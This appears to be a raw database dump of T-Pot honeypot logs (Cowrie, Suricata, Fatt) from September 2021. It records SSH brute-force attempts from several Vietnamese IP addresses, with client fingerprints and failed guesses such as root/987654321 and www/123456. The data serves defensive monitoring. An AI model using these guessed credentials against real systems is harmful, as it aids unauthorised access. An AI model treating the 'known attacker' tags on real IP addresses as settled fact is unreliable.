"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22730	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:23.751483+03	2021-09-20 14:15:06.591497+03	{"_id": "ogbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fd00b0142700", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:23.751483Z", "@timestamp": "2021-09-20T11:07:23.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22731	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:24.208123+03	2021-09-20 14:15:06.592507+03	{"_id": "owbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [albert/albert] failed", "session": "8c04553a1997", "@version": "1", "password": "albert", "username": "albert", "timestamp": "2021-09-20T11:07:24.208123Z", "@timestamp": "2021-09-20T11:07:24.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22732	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:24.000646+03	2021-09-20 14:15:06.593502+03	{"_id": "pAbjAnwBvYTbRNuEoQr4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 256164388924819, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57518, "dest_port": 22, "timestamp": "2021-09-20T11:07:24.000646Z", "@timestamp": "2021-09-20T11:07:24.000Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22785	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:29.335146+03	2021-09-20 14:15:06.659497+03	{"_id": "sAbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0ddc37f11e28", "@version": "1", "duration": 2.735623598098755, "timestamp": "2021-09-20T11:07:29.335146Z", "@timestamp": "2021-09-20T11:07:29.335Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22733	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:24.775598+03	2021-09-20 14:15:06.594504+03	{"_id": "pQbjAnwBvYTbRNuEowpq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:34634 (192.168.176.2:22) [session: 46d0f8feaeba]", "session": "46d0f8feaeba", "@version": "1", "protocol": "ssh", "src_port": 34634, "dest_port": 22, "timestamp": "2021-09-20T11:07:24.775598Z", "@timestamp": "2021-09-20T11:07:24.775Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22734	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:24.290025+03	2021-09-20 14:15:06.5965+03	{"_id": "qQbjAnwBvYTbRNuEowpq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "6ad6a154165c", "@version": "1", "duration": 3.189715623855591, "timestamp": "2021-09-20T11:07:24.290025Z", "@timestamp": "2021-09-20T11:07:24.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22735	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:24.770481+03	2021-09-20 14:15:06.5975+03	{"_id": "qgbjAnwBvYTbRNuEowpq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "bb4ff764e05a", "@version": "1", "duration": 2.117835521697998, "timestamp": "2021-09-20T11:07:24.770481Z", "@timestamp": "2021-09-20T11:07:24.770Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22736	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:24.867301+03	2021-09-20 14:15:06.598502+03	{"_id": "zgbjAnwBvYTbRNuEowpv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:41524 (192.168.176.2:22) [session: b2026e4be213]", "session": "b2026e4be213", "@version": "1", "protocol": "ssh", "src_port": 41524, "dest_port": 22, "timestamp": "2021-09-20T11:07:24.867301Z", "@timestamp": "2021-09-20T11:07:24.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22737	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:24.658536+03	2021-09-20 14:15:06.599506+03	{"_id": "1AbjAnwBvYTbRNuEowpv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "24b8d0efb722", "@version": "1", "duration": 2.655766010284424, "timestamp": "2021-09-20T11:07:24.658536Z", "@timestamp": "2021-09-20T11:07:24.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22738	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:25.082421+03	2021-09-20 14:15:06.600484+03	{"_id": "1gbjAnwBvYTbRNuEowpv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b2026e4be213", "@version": "1", "timestamp": "2021-09-20T11:07:25.082421Z", "@timestamp": "2021-09-20T11:07:25.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22739	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:24.534522+03	2021-09-20 14:15:06.6025+03	{"_id": "ywbjAnwBvYTbRNuEowps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3c55230f4ee9", "@version": "1", "duration": 2.5043346881866455, "timestamp": "2021-09-20T11:07:24.534522Z", "@timestamp": "2021-09-20T11:07:24.534Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22740	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:25.082054+03	2021-09-20 14:15:06.603501+03	{"_id": "twbjAnwBvYTbRNuEowps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41524, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.082054", "@timestamp": "2021-09-20T11:07:25.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22741	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:24.76466+03	2021-09-20 14:15:06.604501+03	{"_id": "uAbjAnwBvYTbRNuEowps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [www/123456] failed", "session": "d4bae04dbc31", "@version": "1", "password": "123456", "username": "www", "timestamp": "2021-09-20T11:07:24.764660Z", "@timestamp": "2021-09-20T11:07:24.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22742	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:25.001661+03	2021-09-20 14:15:06.605504+03	{"_id": "uQbjAnwBvYTbRNuEowps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/987654321] failed", "session": "1212aec356af", "@version": "1", "password": "987654321", "username": "root", "timestamp": "2021-09-20T11:07:25.001661Z", "@timestamp": "2021-09-20T11:07:25.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22743	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:25.056885+03	2021-09-20 14:15:06.606501+03	{"_id": "ugbjAnwBvYTbRNuEowps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [am/am] failed", "session": "890f08f17557", "@version": "1", "password": "am", "username": "am", "timestamp": "2021-09-20T11:07:25.056885Z", "@timestamp": "2021-09-20T11:07:25.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22744	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:25.112891+03	2021-09-20 14:15:06.6085+03	{"_id": "uwbjAnwBvYTbRNuEowps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a6e0715f685d", "@version": "1", "duration": 2.7067975997924805, "timestamp": "2021-09-20T11:07:25.112891Z", "@timestamp": "2021-09-20T11:07:25.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22745	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:25.081547+03	2021-09-20 14:15:06.6095+03	{"_id": "2AbjAnwBvYTbRNuEpQrh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 594934229695173, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41524, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.081547Z", "@timestamp": "2021-09-20T11:07:25.081Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	